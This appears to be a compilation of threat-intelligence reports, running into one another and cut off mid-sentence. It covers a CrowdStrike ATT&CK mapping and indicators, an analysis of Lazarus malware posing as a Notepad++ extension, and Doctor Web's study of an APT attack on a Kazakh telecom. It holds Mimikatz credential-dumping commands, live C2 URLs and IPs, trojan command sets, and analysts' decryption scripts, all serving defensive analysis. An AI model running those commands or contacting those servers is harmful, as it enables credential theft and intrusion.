Credential Access T1003.006 OS Credential Dumping: DCSync The threat actor obtained Active Directory credentials through domain replication protocols using the GetADReplAccount command from DSInternals Credential Access T1003.001: OS Credential Dumping: LSASS Memory The threat actor used a heavily obfuscated PowerShell script to execute the Mimikatz commands privilege::debug sekurlsa::logonpasswords lsadump::lsa /patch in-memory and encrypt the output 19/22 Initial Access / Persistence T1078.003: Valid Accounts: Local Accounts A local account was used by the Threat Actor to establish a SSH tunnel into the internal network environment Initial Access / Persistence T1133: External Remote Services The threat actor used VPNs to gain access to systems and persist in the environment Credential Access T1555.003: Credentials from Password Stores: Credentials from Web Browsers The threat actor exported saved passwords from user s Chrome browser installations Credential Access T1539: Steal Web Session Cookie The threat actor stole web session cookies from end user workstations and used them to access cloud resources Lateral Movement T1021.001: Remote Services: Remote Desktop Protocol The threat actor used both privileged and nonprivileged accounts for RDP throughout the environment, depending on the target system Initial Access, Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor used accounts with Delegated Administrator rights to access other O365 tenants. The Threat actor also used valid accounts to create persistence within the environment. Persistence T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription TrailBlazer was configured to execute after a reboot via a command-line event consumer Defense Evasion T1036.005: Masquerading: Match Legitimate Name or Location The threat actor renamed their utilities to masquerade as legitimate system binaries (AdFind as svchost.exe), match the system s role (GoldMax), or appear legitimate (TrailBlazer as an apparent Adobe utility). Additionally, the threat actor renamed their systems prior to connecting to victim s VPNs to match the victim s system naming convention 20/22 Discovery T1087.002: Account Discovery: Domain Account T1482: Domain Trust Discovery The threat actor used AdFind, standard PowerShell cmdlets, and custom tooling to identify various pieces of information from Active Directory T1069.002: Permission Groups Discovery: Domain Groups Defense Evasion / Lateral Movement T1550.001: Use Alternate Authentication Material: Application Access Token The threat actor used compromised service principals to make changes to the Office 365 environment. Collection T1213.: Data from Information Repositories: The threat actor accessed data from Information Repositories Persistence T1098.001: Account Manipulation: Additional Cloud Credentials The threat actor added credentials to O365 Service Principals Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor created new O365 Service Principals to maintain access to victim s environments Discovery T1057: Process Discovery The threat actor regularly interrogated other systems using tasklist.exe Reconnaissance T1595.001: Active Scanning: Scanning IP Blocks The threat actor probed external services in an attempt to regain access to the environment Indicators of Compromise (IOCs) 21/22 Indicator Details http://satkas.waw[.]pl/rainloop/forecast TrailBlazer 1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105 TrailBlazer SHA256 vm-srv-1.gel.ulaval.ca GoldMax C2 2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac GoldMax SHA256 156.96.46.116 Infrastructure 188.34.185.85 Infrastructure 212.103.61.74 Infrastructure 192.154.224.126 Infrastructure 23.29.115.180 Infrastructure 104.237.218.74 Infrastructure 23.82.128.144 Infrastructure Additional Resources Read about the latest trends in threat hunting and more in the 2021 Threat Hunting Report or simply download the report now. Learn more about Falcon OverWatch proactive managed threat hunting. Watch this video to see how Falcon OverWatch proactively hunts for threats in your environment. Learn more about the CrowdStrike Falcon platform by visiting the product webpage. Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent today. 22/22 A detailed analysis of Lazarus APT malware disguised as Notepad++ Shell Extension cybergeeks.tech/a-detailed-analysis-of-lazarus-malware-disguised-as-notepad-shell-extension Summary Lazarus has targeted its victims using job opportunities documents for companies such as LockHeed Martin, BAE Systems, and Boeing. In this case, the threat actor has targeted people that are looking for jobs at Boeing using a document called Boeing BDS MSE.docx (https://twitter.com/ShadowChasing1/status/1455489336850325519). The malware extracts the hostname, username, network information, a list of processes, and other information that will be exfiltrated to one out of the four C2 servers. The data targeted for exfiltration is compressed, XOR-encrypted and then Base64-encoded before being transmitted to the C2 server. The Trojan implements four actions that include downloading and executing a .exe or .dll file, loading a PE (Portable Executable) into the process memory, and executing shellcode. Technical analysis SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 The file is a DLL that has 7 exports. Only one of these functions implements malicious activity (DllGetFirstChild): Figure 1 The malware retrieves the User Agent by calling the ObtainUserAgentString function. There is also a User Agent that is hardcoded in the binary Mozilla / 5.0 (Windows NT 10.0; WOW64; Trident / 7.0; rv:11.0) li , which is Internet Explorer on Windows 10: Figure 2 The binary extracts the current system date and time using the GetSystemTimeAsFileTime API: Figure 3 GetModuleHandleW is utilized to retrieve a module handle for ntdll.dll: Figure 4 The process gets the address of the following export functions using the GetProcAddress routine: RtlGetCompressionWorkSpaceSize RtlCompressBuffer RtlDecompressBuffer RtlGetVersion . An example of a function call is shown in figure 5: 1/16 Figure 5 The NetBIOS name of the local computer is extracted via a function call to GetComputerNameW: Figure 6 The GetAdaptersInfo API is used to retrieve adapter information for the local machine: Figure 7 The MAC address extracted above is written to a buffer: Figure 8 The file extracts the command-line string for the current process: Figure 9 CommandLineToArgvW is utilized to extract an array of pointers to the command-line arguments, along with a count of arguments (similar to argv and argc): Figure 10 According to an article published at https[:]//zhuanlan.zhihu.com/p/453894016, the malware is supposed to run with the following parameters: NTPR P6k+pR6iIKwJpU6oR6ZilgKPL7IxsitJAnpIYSx2KldSSRFFyUIzTBVFAwgzBkI2PS/+EgASBik/GgYBwBbRNy7pP+Xq4uTsxOXU6NPmudaEz7Xy5 The binary decrypts the above parameter using a custom algorithm displayed in figure 11. The list of resulting strings contains multiple C2 servers: 2/16 Figure 11 Figure 12 The following URLs have been decrypted: https[:]//mante.li/images/draw.php https[:]//bmanal.com/images/draw.php https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php https[:]//industryinfostructure.com/templates/worldgroup/view.php The GetNetworkParams routine is used to retrieve network parameters for the local computer: Figure 13 The malicious process extracts the name of the DNS domain assigned to the local host (0x2 = ComputerNameDnsDomain): Figure 14 The following network information is written to a temporary buffer: 3/16 Figure 15 Figure 16 The process gets the username associated with the current thread by calling the GetUserNameW function: Figure 17 4/16 The binary takes a snapshot of all processes in the system using the CreateToolhelp32Snapshot API (0x2 = TH32CS_SNAPPROCESS): Figure 18 The file extracts information about the first process from the snapshot via a call to Process32FirstW: Figure 19 The malicious binary opens the process object using the OpenProcess routine (0x410 = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ): Figure 20 Whether the file doesn t have enough rights to open a process, it copies Unknown along with the process name to a temporary buffer. The binary takes a snapshot of the current process along with all its modules using the CreateToolhelp32Snapshot API (0x8 = TH32CS_SNAPMODULE): Figure 21 Module32FirstW is utilized to retrieve information about the first module associated with the current process: Figure 22 The malicious DLL gets information about the next process recorded in the snapshot: Figure 23 The OpenProcessToken routine is used to open the access token associated with a process (0x8 = TOKEN_QUERY): 5/16 Figure 24 GetTokenInformation is utilized to extract the user account of the token (0x1 = TokenUser): Figure 25 The process retrieves the name of the account for a SID and the name of the first domain on which the SID is found via a function call to LookupAccountSidW: Figure 26 GetTokenInformation is utilized to extract the Terminal Services session identifier associated with the token (0xC = TokenSessionId): Figure 27 The RtlGetCompressionWorkSpaceSize API is used to determine the correct size of the WorkSpace buffer for the RtlCompressBuffer function (0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM): Figure 28 The process compresses the buffers from figures 15 and 16 using the RtlCompressBuffer function (0x102 = COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM): 6/16 Figure 29 The DLL randomly chooses a C2 server from the list of four. It initializes the application s use of the WinINet functions via a call to InternetOpenW: Figure 30 InternetCanonicalizeUrlW is used to canonicalize the URL: Figure 31 The malware cracks the URL into its component parts by calling the InternetCrackUrlW API: Figure 32 The connect, send and receive timeouts are set to 150s using the InternetSetOptionW routine (0x2 = INTERNET_OPTION_CONNECT_TIMEOUT, 0x5 = INTERNET_OPTION_SEND_TIMEOUT, 0x6 = INTERNET_OPTION_RECEIVE_TIMEOUT): Figure 33 7/16 Figure 34 Figure 35 The DLL opens an HTTP session to the C2 server on port 443 (0x3 = INTERNET_SERVICE_HTTP): Figure 36 The binary creates a POST request handle to the URI extracted from the specified URL: Figure 37 The security flags for the handle are set using the InternetSetOptionW API (0x1F = INTERNET_OPTION_SECURITY_FLAGS, 0xF180 = SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS): Figure 38 The buffer (concatenation of two buffers) that was compressed earlier is encrypted using XOR (key = 32-byte array): 8/16 Figure 39 Figure 40 The encrypted buffer from above is encoded using Base64: Figure 41 9/16 Figure 42 The binary constructs the following parameters search=YOIPOUP&ei=6128&oq= Figure 43 The User Agent extracted earlier is added to the HTTP request handle using the HttpAddRequestHeadersW routine (0xA0000000 = HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD): Figure 44 HttpSendRequestW is used to exfiltrate data to the C2 server: Figure 45 s worth mentioning that all C2 servers were down during our analysis. We ve emulated network connections using FakeNet. The size of the C2 response is retrieved by calling the HttpQueryInfoW routine (0x5 = HTTP_QUERY_CONTENT_LENGTH): Figure 46 The binary copies the C2 response to a buffer via a function call to InternetReadFile: 10/16 Figure 47 The malicious process parses the data between the and
tags: Figure 48 The malware performs a similar POST request with different parameter values search=DOWPANY&ei=6128 Figure 49 The C2 response is decoded using Base64, and then XOR decrypted. The malware implements 4 different actions that will be explained based on the EAX register value: Figure 50 11/16 EAX = 0 load a PE into the current process memory GetNativeSystemInfo is utilized to retrieve information about the current system: Figure 51 The DLL performs multiple VirtualAlloc function calls that will allocate memory for the new executable (0x3000 = MEM_COMMIT | MEM_RESERVE, 0x4 = PAGE_READWRITE): Figure 52 The malware changes the memory protection depending on the segment (for example, the code segment s memory protection is set to 0x20 = PAGE_EXECUTE_READ): Figure 53 After a few more operations, the process passes the control flow to the new PE. EAX = 1 download and execute a .exe file The binary gets the AppData folder path by calling the SHGetFolderPathW routine (0x1c = CSIDL_LOCAL_APPDATA): Figure 54 GetTickCount is used to extract the number of milliseconds that have elapsed since the system was started: Figure 55 The malware creates a file based on the above value (0x40000000 = GENERIC_WRITE, 0x1 = FILE_SHARE_READ, 0x2 = CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL): 12/16 Figure 56 The newly created file is populated with content that is supposed to be transmitted by the C2 server: Figure 57 The malicious binary executes the file by calling the CreateProcessW API: Figure 58 EAX = 2 download and execute a .dll file The execution flow is similar to the above case, and we only highlight the difference. Rundll32.exe is used to execute the DLL file (an export function can also be specified in the command line): 13/16 Figure 59 EAX = 3 copy and execute shellcode The process allocates memory using the VirtualAlloc routine (0x1000 = MEM_COMMIT, 0x40 = PAGE_EXECUTE_READWRITE): Figure 60 The DLL implements an anti-analysis check. It calls the isProcessorFeaturePresent API in order to determine whether _fastfail() is available. If this feature is not supported, the current process is terminated by calling the GetCurrentProcess and TerminateProcess functions (0x17 = PF_FASTFAIL_AVAILABLE): Figure 61 The malware jumps to the shellcode and then frees the memory area allocated earlier: 14/16 Figure 62 As we mentioned at the beginning of the analysis, the threat actor only added the export function explained above, and the others are legitimate. ve studied a legitimate Notepad++ shell extension (SHA256: f3e2e6f9e7aa065e89040a0c16d1f948489b3751e5eb5efac8106d5f7d65d98d 64-bit) and compared the export functions between the 2 files. As we can see below, the functions are very similar: Figure 63 Figure 64 References 15/16 MSDN: https://docs.microsoft.com/en-us/windows/win32/api/ Fakenet: https://github.com/fireeye/flare-fakenet-ng VirusTotal: https://www.virustotal.com/gui/file/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 MalwareBazaar: https://bazaar.abuse.ch/sample/803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269/ INDICATORS OF COMPROMISE C2 domains: mante.li bmanal.com shopandtravelusa.com industryinfostructure.com SHA256: 803dda6c8dc426f1005acdf765d9ef897dd502cd8a80632eef4738d1d7947269 URLs: https[:]//mante.li/images/draw.php https[:]//bmanal.com/images/draw.php https[:]//shopandtravelusa.com/vendor/monolog/monolog/src/Monolog/monolog.php https[:]//industryinfostructure.com/templates/worldgroup/view.php 16/16 Study of an APT attack on a telecommunications company in Kazakhstan Doctor Web, Ltd., 2022. All rights reserved. This document is the property of Doctor Web, Ltd. (hereinafter - Doctor Web). No part of this document may be reproduced, published or transmitted in any form or by any means for any purpose without proper attribution. Doctor Web develops and distributes Dr.Web information security solutions which provide efficient protection from malicious software and spam. Doctor Web customers can be found among home users from all over the world and in government enterprises, small companies and nationwide corporations. Dr.Web antivirus solutions are well known since 1992 for continuing excellence in malware detection and compliance with international information security standards. State certificates and awards received by the Dr.Web solutions, as well as the globally widespread use of our products are the best evidence of exceptional trust to the company products. Study of an APT attack on a telecommunications company in Kazakhstan 3/23/2022 Doctor Web Head Office 2-12A, 3rd str. Yamskogo polya Moscow, Russia 125040 Website: www.drweb.com Phone: +7 (495) 789-45-87 Refer to the official website for regional and international office information. Table of Contents Introduction Remote Rover Conclusion Operating Routine of Discovered Malware Samples BackDoor.PlugX.93 BackDoor.Siggen2.3622 BackDoor.Whitebird.30 Trojan.DownLoader43.44599 Trojan.Loader.891 Trojan.Loader.896 Trojan.Uacbypass.21 Appendix. Indicators of Compromise Introduction In October 2021, one of Kazakhstan s telecommunication companies contacted Doctor Web, with suspicion of malware in the corporate network. During the first look, we found backdoors that were previously only used in targeted attacks. During the investigation, we also found out that the company s internal servers had been compromised since 2019. For several years, Backdoor.PlugX.93 and BackDoor.Whitebird.30, the Fast Reverse Proxy (FRP) utilities, and RemCom have been the main attackers' tools. Because of the hackers' mistake, we got a unique opportunity to study the lists of victims and find out what backdoor management tools were used. Based on the acquired information, we concluded that the hacker group specialized in compromising the Asian companies mail servers with Microsoft Exchange software installed. That said, we also found victims from other countries, including: Egyptian government agency Italian airport USA marketing company Canadian transport and woodworking companies The logs collected along with the command and control server included victims infected from August 2021 to early November of the same year. Yet, in some cases, BackDoor.Whitebird.30 was installed not only on the server running Microsoft Exchange, but on domain controllers, too. Based on the tools, methods, and infrastructure used, we conclude that the Calypso APT hacker group is behind the attack. Remote Rover Command and control server for BackDoor.Whitebird.30 calls Remote Rover. It allows hackers to remotely launch applications, update the backdoor configuration, download and upload files. Besides that, you can use a command shell via Remote Rover. This is what the control server interface looks like: Remote Rover came with a configuration file CFG\default.ini with the following content: \2021\RR\ \telecom.cfg OneClock.exe If you translate the content from Chinese into English, you can get this path: E:\personal use\Independent research and development remote\2021\RR\Configuration backup\telecom.cfg For a detailed description of the malware used and how it works, see the Dr.Web Virus Library. BackDoor.Siggen2.3622 BackDoor.PlugX.93 BackDoor.Whitebird.30 Trojan.Loader.891 Trojan.Loader.896 Trojan.Uacbypass.21 Trojan.DownLoader43.44599 Conclusion During the investigation of the targeted attack, Doctor Web virus analysts found and described several backdoors and trojans. It s worth noting that the attackers managed to remain undetected for as long as other targeted attack incidents. A hacker group compromised a telecommunications company's network more than two years ago. Doctor Web specialists recommend regularly checking network resources efficiency and timely fixing failures that may indicate the presence of malware on the network. Data compromise is one of targeted attacks main dangers, but the long-term presence of intruders is also a cause for concern. Such development allows them to control the organization s work for many years and gain access to especially sensitive information at the proper time. If you suspect malicious activity in the corporate network, the best option is to contact the Doctor Web virus laboratory for qualified help. Dr.Web FixIt! helps you detect malware on servers and workstations. Taking adequate measures timely will minimize the damage and prevent the serious consequences of targeted attacks. Operating Routine of Discovered Malware Samples BackDoor.PlugX.93 Added to the Dr.Web virus database: 2021-10-22 Virus description added: 2021-10-30 Packer: absent Compilation date: 2020-08-13 SHA1 hash: a8bff99e1ea76d3de660ffdbd78ad04f81a8c659 Description The PlugX backdoor module is written in C. It s designed to decrypt the shellcode from the registry that loads the main backdoor into memory. Operating principle First, the backdoor receives the address of the VirtualProtect() function by hash. It then uses this address to change access rights to PAGE_EXECUTE_READWRITE, starting from the function at 0x10001000 and ending with the entire .text section: Getting the function s address by the hash passed as a parameter: Script to get a function by hash: import pefile ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) max_bits = 32 library_path_list = [...] # absolute path dlls def get_func_addr(hash): for library_path in library_path_list: library = library_path.split('\\') name_dll = library[len(library) - 1].upper() + b'\x00' hash_name_dll = 0 for i in name_dll: hash_name_dll = ord(i) + ror(hash_name_dll, 0x0D, max_bits) hash_name_dll = 0 + ror(hash_name_dll, 0x0D, max_bits) pe = pefile.PE(library_path) for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: func_name = exp.name + b'\x00' hash_name_func = 0 for i in func_name: hash_name_func = ord(i) + ror(hash_name_func, 0x0D, max_bits) if (hash_name_dll + hash_name_func == hash): print '{}-> 0x{:08x} -> {}'.format(name_dll, hash, exp.name) return Changing the permissions to PAGE_EXECUTE_READWRITE was necessary to decrypt the code using the XOR operation: One version of the backdoor has dynamic XOR encryption. It has decryption at the beginning of the function: And with encryption at the end of the function: Facilitating the script s work for IDAPython: import idaapi def xor_dec(address, count, key): for i in xrange(count): idaapi.patch_dword(address, idaapi.get_dword(address) ^ key) key += idaapi.get_dword(address) address += 4 Before performing malicious actions, the backdoor, as in the case of VirtualProtect(), receives functions addresses that it needs to work Received features: Function name Hash CloseHandle 0x528796C6 CreateFileA 0x4FDAF6DA DeleteFileA 0x13DD2ED7 ExitProcess 0x56A2B5F0 GetAdaptersInfo 0x62C9E1BD GetModuleFileNameA 0xFE61445D GetSystemDirectoryA 0x60BCDE05 LoadLibraryA 0x726774C ReadFile 0xBB5F9EAD Function name Hash RegCloseKey 0x81C2AC44 RegDeleteValueA 0x3846A3A8 RegEnumValueA 0x2EC95AA4 RegOpenKeyExA 0x3E9E3F88 RegQueryValueExA 0x8FF0E305 VirtualAlloc 0xE553A458 VirtualFree 0x300F2F0B VirtualProtect 0xC38AE110 WinExec 0x876F8B31 WriteFile 0x5BAE572D In addition, the backdoor checks if it is executed in a sandbox: After receiving the function addresses and checking for execution in the sandbox, BackDoor.PlugX.93 removes the updatecfgSetup task from the task scheduler: The key for shellcode encryption is MD5 from the following registry key values: HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate HKLM\System\ControlSet001\Control\ComputerName\ComputerName The shellcode is stored in the following registry keys: HKLM\Software\BINARY HKCU\Software\BINARY Before running the shellcode, it ll be decrypted in 2 steps: first, using the RC4 algorithm: then, with XOR: BackDoor.Siggen2.3622 Added to the Dr.Web virus database: 2021-11-03 Virus description added: 2021-xx-xx Packer: UPX SHA1 hash: be4d8344669f73e9620b9060fd87bc519a05617a Description A backdoor written in Go. It s packed by UPX. Investigated backdoor version V2.5.5 z 2021.7.19. Operating principle In the beginning, the malicious code checks if another backdoor copy is running. The trojan checks for the c:\windows\inf\mdmslbv.inf file. If it exists, the trojan starts reading. You can use the following script to decrypt: import sys with open(sys.argv[1], 'rb') as f: d = f.read() s = bytearray() for i in range(len(d)): s.append(d[i]) for i in range(len(s)-2, 0, -1): s[i] = (((s[i + 1] * s[i + 1]) ^ s[i]) & 0xff) with open(sys.argv[1] + '.dec', 'wb') as f: f.write(s) Encrypted file s length The packet s structure: random string from 10 to 19 characters long between the ... tags contains the backdoor process s PID between the ... tags is the process s name random string from 10 to 19 characters long The trojan checks for the existence of a process with the specified parameters. If it finds it, the trojan terminates its work. If it doesn t find a process with the specified parameters or the mdmslbv.inf file itself, the trojan generates data as shown above. Then, it encrypts and writes to the c: \windows\inf\mdmslbv.inf. Communication with the command and control server The trojan has command and control server: blog[.]globnewsline[.]com. The trojan sends a GET request to the following URL: hxxps://blog.globnewsline.com:443/db/db.asp using User-Agent "Mozilla/5.0 (X11; Windows x86_64; rv:70.0) Gecko/20100101 Firefox/70.0". If the server response contains the substring Website under construction, then the trojan considers that the control server is available. If the server is unavailable, the malicious code checks for the presence of a proxy configuration file c:\windows\inf\bksotw.inf. If that s present, the trojan reads the parameters written in the file. The backdoor uses MAC addresses as the network interface bot ID. For heartbeat requests, the following POST requests are used: https://blog.globnewsline.com:443/db/db.asp?m=w&n=~A.t where is the MAC address string, converted to uppercase with colons removed. Next, a GET request is sent to get a list of commands: https://blog.globnewsline.com:443/db/A.c The server response is encrypted in the same way as the file with the backdoor process s PID. The following commands can be executed: down bgd getinfo The command s result is encrypted the same way as the command itself was encrypted. Then, it sent in the POST request s body to the following URL: https://blog.globnewsline.com:443/db/A.c BackDoor.Whitebird.30 Added to the Dr.Web virus database: 2021-10-21 Virus description added: 2021-xx-xx Packer: absent Compilation date: 2021-29-03 SHA1 hash: abfd737b14413a7c6a21c8757aeb6e151701626a Description A multi-functional backdoor trojan for 64-bit and 32-bit Microsoft Windows operating system family. It s designed to establish an encrypted connection with the command and control server and unauthorized control of an infected computer. It has a file manager and Remote Shell functions. Preparing procedures At the beginning of the work, the backdoor decrypts the overlay provided by the shellcode. The first encryption layer is removed by the following algorithm: k = 0x37 s = bytearray() for i in range(len(d)): c = d[i] ^ k s.append(c) k = (k + c) & 0xff The second layer is the XOR operation with the key 0xCC. This overlay contains: configuration of trojan module for bypassing UAC Configuration looks as follows: struct st_proxy char proxy_addr[32]; char proxy_login[64]; char proxy_password[64]; _BYTE pad[2]; struct st_config char cnc_addr[4][34]; st_proxy proxies[4]; char home_dir[260]; char exe_name[50]; char loader_name[50]; char shellcode_name[50]; char software_name[260]; char startup_argument[50]; _DWORD reg_hkey; char reg_run_key[200]; char reg_value_name[52]; char taskname[52]; _DWORD mstask_mo; char svcname[50]; char svcdisplayname[50]; char svcdescription[256]; char reg_uninstall_key[50]; char inject_target_usr[260]; char inject_target[260]; _BYTE byte0[2]; _BYTE flags; _BYTE pad[3]; _DWORD keepalivetime; unsigned __int8 key[16]; The flags field displays which autoload methods the trojan should use, and what launch features are: enum em_flags GOT_ENOUGH_RIGHTS= 0x1, UNK_FLAG_2 = 0x2, UNK_FLAG_4 = 0x4, INSTALL_AS_MSTASK = 0x8, INSTALL_AS_SERVICE = 0x10, RUN_WITH_ARGUMENT = 0x20, INJECT_TO_PROCESS = 0x40, RUN_AS_USER = 0x80, If the launch is specified via the task scheduler (INSTALL_AS_MSTASK), then the configuration flags creates a mutex after decrypting. That prevents restart: Next, it checks if the trojan has enough rights to launch in the way that was previously specified in the configuration. If not, it restarts itself to bypass UAC. Trojan checks for the presence of a file in the path C:Users\Public\Downloads\clockinstall.tmp, and if it exists, it deletes clockinstall.tmp. If the clockinstall.tmp file is missing, it checks if the install file exists in the folder from which the trojan was launched. If it exists, it removes it. Then, it installs itself into the system in accordance with the type specified in the configuration. The backdoor will also try to hide its activity from the user. If the trojan runs on a 32-bit OS, then the same mechanism for hiding a service from running ones is valid, as in BackDoor.PlugX.28, deleting that structure from the list of ServiceDatabase structures. That corresponds to the trojan service. If the configuration specifies that the trojan should be injected into a process, then it ll be injected into the target process. If the RUN_AS_USER flag is specified in the configuration, then the trojan will wait until at least one authorized user appears. After that, it ll create its own process, but on behalf of the user. Regardless of the trojan's autorun type, only one process can communicate with the command and control server. This creates a mutex: Before attempting to establish a connection with the command and control server, trojan determines the proxy server settings. For this purpose: The presence of the .ini file in the folder from which the trojan process was launched is checked. Example of the configuration: [AntiVir] Cloud=0A0804D2242000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000299CC1003C9CC10098F11900DCF1190062F21900000000 00E02AC300CC004501D8F11900000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000001 Reads a file named .tmp in the trojan folder, where is the value from the configuration Reads proxy settings from registry [HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings, keys ProxyEnable and ProxyServer Reads proxy settings from Mozilla Firefox settings - %APPDATA% \Mozilla\Firefox\\prefs.js Checks for stored login:password from the proxy server in Mozilla Firefox and Internet Explorer Control server protocol Establishing a connection to the server mimics the creation of a TLS1.0 connection between the client and the server. Trojan body contains two buffers: 1. Contains the TLS1.0 Client Hello package: 2. Contains TLS 1.0 Client Key Exchange packets with key length 0x100 bytes, Change Cipher Spec, Client Handshake Finished: When sending a Client Hello packet, the trojan encrypts all bytes of the Client Random field, starting from the 4th one, using the XOR method with random bytes. It also records the current time in the first 4. The server's response to this message is accepted, but the data is ignored. When sending the second packet, the backdoor also encrypts the Client Key Exchange packet public key field using the XOR method with random bytes, and writes its 28-byte key into the data of the Client Handshake Finished packet. That ll be used to encrypt and decrypt packets sent or received from the server. The backdoor encrypts the last 4 bytes of the Client Handshake Finished packet with random bytes. Then, it sends it to the command and control server. In response, the server sends its own key. That key is used to initialize the key shared with the client. After that, the backdoor enters the command processing cycle from the control server. The traffic between the client and the server is encrypted using the RC4 algorithm. The list of commands: opcode Command 0x01 Gathering information regarding the infected device 0x02 Remote shell 0x03 File manager (see below for commands ending in 3) 0x100 Keep-Alive 0x103 Open file for writing 0x203 Download a file 0x303 Data to be written 0x400 Reconnect to server 0x403 Obtain information about disk or directory listing; 0x500 To finish work 0x503 Move a file 0x600 Delete proxy configuration ini file 0x603 Delete a file 0x703 Run a process 0x700 Execute a command during ShellExecute 0x800 Renew configuration Trojan.DownLoader43.44599 Added to the Dr.Web virus database: 2021-10-15 Virus description added: 2021-10-20 Packer: absent Compilation date: 2020-07-13 SHA1 hash: 1a4b8232237651881750911853cf22d570eada9e Description The trojan is written in C++. It s used for unauthorized control of an infected computer. Operating principle In the beginning, the trojan decrypts the C&C server s IP addresses and ports using the XOR operation: import idaapi address = 0x416200 for i in xrange(0x7c): idaapi.patch_byte(address + i, idaapi.get_byte(address + i) ^ 0xEF) Decryption result: C&C server 159.65.157.100:443 Communication with it occurs using sockets: Depending on the time, the connection to the required C&C server will be selected: The trojan creates file tmp.0 in folder %tmp%, that it use as log. Collect information about the system: Trojan.DownLoader43.44599 pushes each value onto a stack before encrypting and sending the collected data. The transferred data looks as follows: struct computer_info { string computer_name; string user_name; uint32_t major_version; uint32_t minor_version; uint32_t build_number; uint32_t computer_bitness; string March01; uint32_t code_page_id; uint32_t oem_code_page_id; To encrypt the information collected about the system, the AES128 algorithm is used in CBC mode. The key and initialization vector are embedded inside: The decryption method looks as follows: from Crypto.Cipher import AES key = '\x95\x2B\x2D\xBF\x09\xC5\x2F\x80\xB4\xBC\x47\x27\x29\xB3\x28\x09' iv = '\x63\x5F\x72\x2A\xBB\xE3\xE8\x95\xF8\xF9\x32\x87\x53\x6A\x77\xFB' enc = ... decipher = AES.new(key, AES.MODE_CBC, iv) open('dec', 'wb').write(decipher.decrypt(enc)) The command execution cycle received from the C&C server: Table of commands compiled from the results of this cycle: Command ID Command 0x51 Creating cmd.exe process 0x52 Execution command exit in cmd.exe 0x54 Execute commands in the cmd.exe console; 0x60 Creating the flow that reads, writes, and encrypts files. Trojan.Loader.891 Added to the Dr.Web virus database: 2021-10-15 Virus description added: 2021-xx-xx Packer: absent Compilation date: 2021-09-03 12:04:44 SHA1 hash: 595b5a7f25834df7a4af757a6f1c2838eea09f7b Description This trojan is written in C. The program contains several files, and the trojan uses each file sequentially. The trojan s main task is to decrypt the shellcode and execute it. The decrypted shellcode contains BackDoor.Whitebird.30, a module for bypassing UAC and backdoor configuration. Operating principle The trojan folder contains the following files: mcupdui.exe the executable file into which the malicious library is loaded using Hijacking DLL has a valid McAfee signature: 4F638B91E12390598F037E533C0AEA529AD1A371: CN=McAfee, Inc., OU=IIS, OU=Digital ID Class 3 - Microsoft Software Validation v2, O=McAfee, Inc., L=Santa Clara, S=California, C=US McUiCfg.dll downloader mscuicfg.dat encrypted shellcode mcupdui.ini configuration of trojan To move to the main malicious functionality, the trojan modifies the process memory: The instruction following the malicious library s download library is modified: Trojan.Loader.891 finds all the functions it needs by hashes using the PEB (Process Environment Block) structure. At the same time, the names of libraries and functions are hashed differently: library names are hashed as Unicode strings converted to upper case. Function names are hashed as ASCII strings without changing the case. The resulting two hashes are added together and then compared with the desired one. ror = lambda val, r_bits, max_bits: \ ((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \ (val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1)) def hash_lib_whitebird(name: bytes) -> int: a = name.upper() + b'\x00' c = 0 for i in range(0, len(a)): c = (a[i] + ror(c, 13, 32)) & 0xffffffff # library name is a unicode string c = (0 + ror(c, 13, 32)) return c def hash_func_whitebird(name: bytes) -> int: a = name + b'\x00' c = 0 for i in range(0, len(a)): c = (a[i] + ror(c, 13, 32)) & 0xffffffff return c Trojan s main functions are encrypted. When the function is called, it decrypts its code, and when it exits, it encrypts it back. Main function: Trojan.Loader.891 obtains the MAC addresses of all network interfaces on the computer. The trojan then reads data from the mscuicfg.dat file. If the last 6 bytes are zero, then it writes the first MAC address from the list into them and encrypts this file with the RC4 algorithm. In this case, the key is equal to the MAC address written to the file, so the encrypted data is saved to the file mscuicfg.dat. After that, in any way, the trojan reads the file again, sorting through each of the received MAC addresses until it finds the right one. The decryption s correctness is checked by matching the last 6 decrypted bytes with the encryption key. Upon successful decryption, the trojan cuts them off and decrypts the file again using the RC4 algorithm, but takes the string mscuicfg.dat as the key. The received data is a shellcode with a configuration and a payload. Shellcode The shellcode is obfuscated with a lot of JMP instructions and each value is computed with a lot of SUB, ADD, and XOR operations: The shellcode s principle is to decrypt the payload and load it into memory for execution. The last DWORD of the shellcode contains the OFFSET before the start of the payload. Encrypted data at this stage: For decryption, XOR with a dynamic key is used: k = 0x37 s = bytearray() for i in range(len(d)): c = d[i] ^ k s.append(c) k = (k + c) & 0xff The decrypted data contains an MZPE file with signatures replaced: The decoded module is BackDoor.Whitebird.30. In addition, the module overlay contains an encrypted configuration and a module for bypassing UAC: Trojan.Loader.896 Added to the Dr.Web 